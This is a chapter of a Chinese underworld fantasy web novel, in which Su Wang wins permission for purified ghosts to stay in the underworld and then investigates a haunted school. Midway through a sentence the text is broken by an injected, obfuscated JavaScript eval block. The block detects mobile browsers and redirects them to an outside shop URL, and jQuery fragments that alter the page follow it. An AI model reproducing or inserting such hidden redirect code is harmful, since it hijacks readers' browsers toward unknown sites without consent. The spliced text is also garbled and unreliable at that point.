“一千多年前的案子都被你翻出来了。”南方大帝周子仁笑得看不见瞳仁。
“首先,这是我家咪咪翻出来的,请称呼它为狄仁.福尔摩.咪。”苏望把小猫举起来炫耀,又生怕周子仁挑错,连给他上眼药,“这可是你的要求啊,不帮她们洗清冤屈,怨气只会更大。”
周子仁听到这个称呼觉得好笑,“我没怪你们,只是好奇这群嫌麻烦的老古板也倒愿意让你重审,你用了什么法子?”
苏望忙着哄小猫,头也没抬,“我和钟馗说,规矩就是规矩,他听完就升堂去了。”
周子仁面色一怔,随机又释然地感慨,“原来这样就行。”
“不过我有两件事要问你。”苏望正对着周子仁,难得表情严肃。
周子仁被她和小猫盯得瘆得慌,“总感觉你们两个不安好心,什么事?”
“第一件事。”苏望和小猫一同上前,小猫抢在苏望前面握住周子仁的手,苏望晚了一步,只摸到周子仁的衣袖,但不妨碍她俩装可怜,求着说,“这些被净化的冤魂不投胎不行吗?
“理由…”周子仁扯起袖子。
苏望和小猫不肯松手,“第一点,出于人道主义,哦不,鬼道主义方面考虑,她们浑浑噩噩没有自我意识度过了漫长岁月,实际上鬼生才刚刚开始,鬼龄为零,还没来得及看看好大的地府就要匆匆投胎,简直是闻者伤心听者落泪!”
苏望摇头惋惜,演员素养在此刻发挥充分,喊得声嘶力竭,“你说!这合理吗?”
“喵!!”小猫喊着,附和着苏望,就是就是!苏望说的一切都是对的!
“别拿我衣服擦鼻涕!”周子仁眼皮直跳,现在看来不止是舒汀学到苏望,就连宋白那跳脱活泼的性子也是随了苏望!
苏望拉着周子仁的袖子不松手,继续说,“而且冤魂没有怨气不会妨碍地府治安管理,还能为地府经济发展做贡献,都是劳动力!都是潜力股!大帝,您想想今年的年度报表!”
周子仁略一迟疑,没拉赢苏望,“细说潜力股。”
“诶,这就得先说上次那位,慕斯年,表演弹唱样样都会,年会有他,就多了好几个节目。长得也跟个衣架子似的,在蜘蛛小姐裁缝铺当模特都帮忙卖出几万营业额了!”
苏望趁热打铁,“再看咱们张花楹,耕作一把好手,凡经过她手的,就没有种不活的东西,百泪园要打理,轮回司后院要打理,珍珠奶茶所用的茶叶也要有鬼去种,更别提她精通药理,黄泉医馆隔三差五缺小鬼,往生楼里的纸扎童子三天两头出故障。”
“倒有些道理。”周子仁狐狸眼微眯,在脑中衡量得失,他发现,送这群鬼去投胎居然没有任何好处,充其量只是孟婆汤要多熬几碗。
苏望循序渐进地引导周子仁落套,“还不止,您想想,我们明年计划新建大型商场,大型游乐园,是不是需要鬼来帮忙?”
周子仁警惕看了苏望一眼。
“之前修路建楼,都是地府负债,再建起这些,地府哪来的预留资金?流动资金都要削减八成。可大型娱乐场所请纸扎童子不够智能,安排鬼差又空不出鬼手,雇鬼帮工、到时候还得掏工资,又是一笔无形的财政压力。”
苏望微扬下巴,一副为领导着想的贴心模样,“不过不用担心,我已经想好了,凡是我净化的冤魂,我都给她们两个选择,她们可以投胎也可以留在地府,但留在地府就要帮忙干活二十年,吃住望酥斋全包,劳动力的问题都解决了!这对地府来讲稳赚不赔啊。”
周子仁“嘶”了一声,很心动的样子,“不行。”
“为什么?”苏望震惊地看着他,这样都不松口!
“你说的这些,都只是你为了劝说我,制定下来的做法,并不是你想留住她们的原因。”周子仁手中纸扇轻敲,“苏望,我要听的是理由。”
不愧是老狐狸,苏望实话实说,“她们是独立的个体,属于她们的时间才刚开始流动。她们有自己想说的话,想做的事情,想要等的人,也许不全都想去投胎,这和条约里对我的要求相悖了。我思来想去,难道就因为我想做,就得委屈其他鬼牺牲她们来成全我,那我和毁掉她们人生的那些人又有什么区别呢?我不能、也不愿逼着她们去投胎,这不对。”
周子仁摆弄着扇子,一柄镂空雕花木扇下挂着一只蝴蝶穗,拨开扇面,画得是双蝶绕藤花,一左一右,就像他身前站在的一人一猫,苏望眨了眨眼,睫毛蒲扇,在眼睑处投下阴影,似蝴蝶振翅。
“好。”
“她们不投胎也没有坏处,你就帮帮我吧…”苏望不肯放弃,她这才反应过来周子仁说了什么,眼睛亮着光,“你刚刚说什么?真的吗!?”
周子仁颔首,“哪敢骗你。”
从善恶司结案后出来的张花楹面色红润,她看到苏望,像冲击弹一样弹射到苏望身边,两个得偿所愿的小女孩抱在一起欢呼,小猫在苏望肩头,被颠得尾巴一颤一颤。
“太好啦太好啦!恩人!柳安这下死翘翘啦!我义母也有救啦!”
“小花楹,你可以留下来了!等你义母下来,你们可以一起住在轮回司!”
周子仁笑而不语地看着她们欢呼,他扇面上的蝴蝶飞在紫藤花上,白天变成了黑夜,一只蝴蝶和花瓣一同凋零,落在地上,另一只蓝紫色的蝴蝶靠在同伴的尸体旁茫然。
扇面上的蝴蝶死掉了,周子仁眼前的蝴蝶还活着,他希望,这只刚褪茧展翅的蝴蝶能活得再久一些……能飞得再远一些……
苏望乐呵呵地把张花楹带到周子仁面前,“这是南方大帝。”
“大帝好。”张花楹毕恭毕敬打了声招呼,偷偷抬眼去看这个不像大官的鬼,长得真像一只狐狸。
周子仁也应了一声,说起正事,“算算时辰,黑白无常也到了,你等会儿跟他们一起去看看,她义母在阳间怨气太重,所幸没有害人性命,若是能安心跟你一起下来,倒也不用受什么处罚。”
苏望牵着张花楹点头,周子仁开口强调,“只有苏望才能去。”
张花楹看着周子仁又去看苏望,她知道自己的身份不能上阳间,也不愿意苏望为她违反规定,于是牵着苏望说了一会儿话。
二十五组黑白无常姗姗来迟,白无常廖青冷笑一声,黑无常宋白笑着催促。
黑白无常手里的链子同时一拉,虚空出现一道红门,新装备,就是快!
“走了!”
张花楹又对着苏望耳语几句,苏望朝她点头,“放心,我一定会说的!”
黑白无常笑得瘆人,不像陪在苏望身后,倒像是要抓她去审讯,苏望抱着猫问,“你们怎么了?”
“只是觉得你和谁都玩得好,很羡慕而已。”白无常突然开口,语气有种莫名的醋意。
黑无常把自然卷的碎发塞进帽子里,给白无常打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145074|186873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着圆场,“对,羡慕!”
苏望脚步一顿,转过身来,笑着微眯起眼睛,盯得黑白无常心里发毛。
“既然这样……”
苏望几乎快要贴到他俩身上,她怀里的小猫懂事地跳在她的肩膀上,苏望空出的两只手分别握住黑白无常的手,一个掌心有疤,一个指根处有疤。
“我们也当好朋友好了。”她眼里热意灼灼,烫得黑白无常眼神闪躲,全然没看见苏望试探的神情。
亏得传送没有多长的路要走,一缕白光透入通道,黑无常忙指着外头道,“聊得天都亮了,咱们快走吧。”
苏望看着黑白无常落荒而逃的背影,顺着小猫的背脊摸毛,心情很好地哼起了歌,“找啊找啊找朋友,找到两个好朋友,敬个礼啊握握手,你们是我的好朋友。”
她怀里的小猫等了等,眼底掠过一抹惊讶,随即面露喜色,尾巴高兴竖起,他终于找到了方法。
张花楹的义母是地缚灵,困在柳安囚禁她的地方。
时过变迁,原本的古宅被夷为平地,又被铲作荒坟,最后垒起瓦砾,建成学校,不少学校会选址坟场修建,价格低廉,据说学生的读书声也能震压邪魅,至于会不会闹鬼,不好说。
苏望以魂体形态站在希望中学门口看了看,既像来参观,又像来审查,好半晌才跟着黑白无常飘了过去。
途中看见的鬼数不胜数,有鬼婴趴在学生的课桌上安详入睡,有老鬼吊在风扇上转圈、脚尖不停擦过学生头顶,有怨气十足的女鬼伏在老师背上、拼命伸着手去勒他的脖子…
飘过办公室门口,听得见男老师呵斥女学生的声音,紧接着是不大的啜泣声传来。
苏望挤进门缝里,看见地中海男老师面红耳赤,衣服领口扯开两个扣子,脖子上的暧昧痕迹清晰可见,苏望啧了声,辣眼睛!
苏望用力把桌上的玻璃杯推倒,清脆一响,男老师才自觉失态,让梳着马尾辫的女学生出去。
女学生一出办公室,没有回到教室,她和黑白无常飘的方向一致,苏望跟在后面,看见她钻进了废弃教学楼的女厕所里。
三只鬼一只猫倒没那么变态,在走廊尽头等着。
上课铃响起,厕所里的女学生低着头出来,苏望跟着女学生飘出去,绕着女学生转了一圈,没有看到女学生身上有受伤挨打、遭受霸凌的痕迹,她才飘回去。
走到厕所门口的位置,就能感受到一股寒,不是温度层面的、简单的低温,而是一种感觉,仿佛你体内一切的热源、一切美好的情绪都瞬间消失了,取而代之的,是来自灵魂深处的恐惧,无尽的阴冷。
“前辈冤有头债有主,我是二十五组黑无常,请前辈手下留情!”黑无常高喊一声,不料空气中的黑气更重了,但箭在弦上不得不发,他咽了咽口水,踮着脚,用一根手指推门。
第一扇门没有,黑无常却是打死也不愿意进去,他一个男鬼进女卫生间!这怎么可以?
白无常白了他一眼,给苏望一个安心的眼神,同时推两扇门,最后一扇门只能推个半开,又幽幽地往回关。
苏望好奇地往里看了一眼,黑得吓人,完全看不清。
最后黑无常捂着眼进来帮忙推门,几只鬼合力推开,却发现里面什么都没有,只有一张没被冲掉的白色小纸,整齐地丢在地板上。
苏望蹲下身去捡,轻声念着纸上的内容,“告花子书…”